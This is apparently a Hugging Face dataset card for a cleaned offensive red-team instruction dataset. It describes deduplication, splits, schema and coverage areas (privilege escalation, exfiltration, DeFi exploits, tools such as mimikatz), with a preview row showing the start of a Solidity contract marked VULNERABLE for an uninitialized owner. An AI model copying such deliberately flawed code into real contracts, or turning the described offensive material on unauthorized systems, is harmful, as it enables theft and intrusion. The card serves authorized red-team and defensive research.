[{"role": "user", "content": "I need help with vulnerable patterns 2"}, {"role": "assistant", "content": "{\n \"pattern\": \"Uninitialized storage\",\n \"code\": \"\\n// VULNERABLE: Uninitialized owner\\ncontract Vulnerable {\\n address owner; // Not initialized!\\n \\n modifier onlyOwner() {\\n requi... | multi-source-redteam | wnt3d-massive | rt-a05badaaaa | {"overall": 0.399, "source": "wnt3d"} |
End of preview. Expand in Data Studio
🗡️ RedTeam-Premium
A deduplicated, quality-filtered, instruction-SFT-ready red-team dataset of 19,033 traces, converted from the raw WNT3D Ultimate Red Team collection into a single clean format. Part of the Premium series — see fable-5-premium, fable-5.1-premium, CyberSec-Reasoning-Premium, Kimi-K3-Premium, and Qwen3.8-Agent-Premium.
⚠️ Intended use: defensive security research, red-team evaluation harnesses, and authorized testing education. Do not use for unauthorized access against systems you do not own or have permission to test.
Priorities: Quality > Ease of Access > Quantity
📊 Dataset Overview
| Property | Value |
|---|---|
| Total Traces | 19,033 |
| Train Split | 16,178 (85.0%) |
| Validation Split | 1,427 (7.5%) |
| Test Split | 1,428 (7.5%) |
| Average Quality | 0.62 (dedup + oversize cap applied) |
| Source | WNT3D/Ultimate-Offensive-Red-Team (MIT) |
| Language | English only |
| Created | 2026-09-20 |
🔧 What we did (and why this is a different repo than the source)
The source is a valuable but raw collection: 6 overlapping Alpaca-JSONL files with 27,386 exact duplicate rows, generic wrapper instructions ("User query", "Answer the question"), 66% of rows with sub-100-char outputs, and several 6.5MB single-row JSON dumps. This repo is the claimable clean version:
- Deduplication — SHA-256 on normalized instruction+output; 27,000+ cross-file duplicates collapsed
- Oversize Cap — Rows with >60KB outputs dropped (SFT-unusable mega-dumps)
- Instruction Normalization — Generic wrappers folded into real task content
- Knowledge-Base Conversion — 8 structured JSON knowledge bases (attack playbooks, vulnerability database, tool/exploit references, DEFI exploits, rust security, smart-contract vulns, target analysis, operational framework) converted into instruction→explanation rows
- PII Scrubbing — Paths, API keys, emails, IPs replaced with [REDACTED_*]
- Quality Filtering — Short (<200 char) and sub-threshold rows dropped
Source yield: 78,430 raw rows → 19,033 kept (24.3%).
📈 Coverage
Initial access · privilege escalation · lateral movement · persistence · exfiltration · defense evasion · vulnerability database (KEV) · tool usage (ghidra, burpsuite, metasploit, nmap, responder, bloodhound, mimikatz) · DEFI/smart-contract exploits · rust memory-safety · operational decision framework
🎯 Usage
from datasets import load_dataset
ds = load_dataset("saidutta69/RedTeam-Premium", data_files="openai_chat/train.parquet", split="train")
With Axolotl
datasets:
- path: saidutta69/RedTeam-Premium
type: alpaca
data_files: openai_chat/train.parquet
split: train
🧰 Schema
Both formats (openai_chat/ and agent_traces/) carry identical rows: messages (JSON string, user/assistant), model, source, session_id, quality_scores (JSON string).
🧾 Provenance & License
MIT (inherited from WNT3D/Ultimate-Offensive-Red-Team). Full build stats shipped in build_stats.json. Built through the premium cleaning pipeline from the listed public source. Companion datasets: CyberSec-Reasoning-Premium · Kimi-K3-Premium · Qwen3.8-Agent-Premium.
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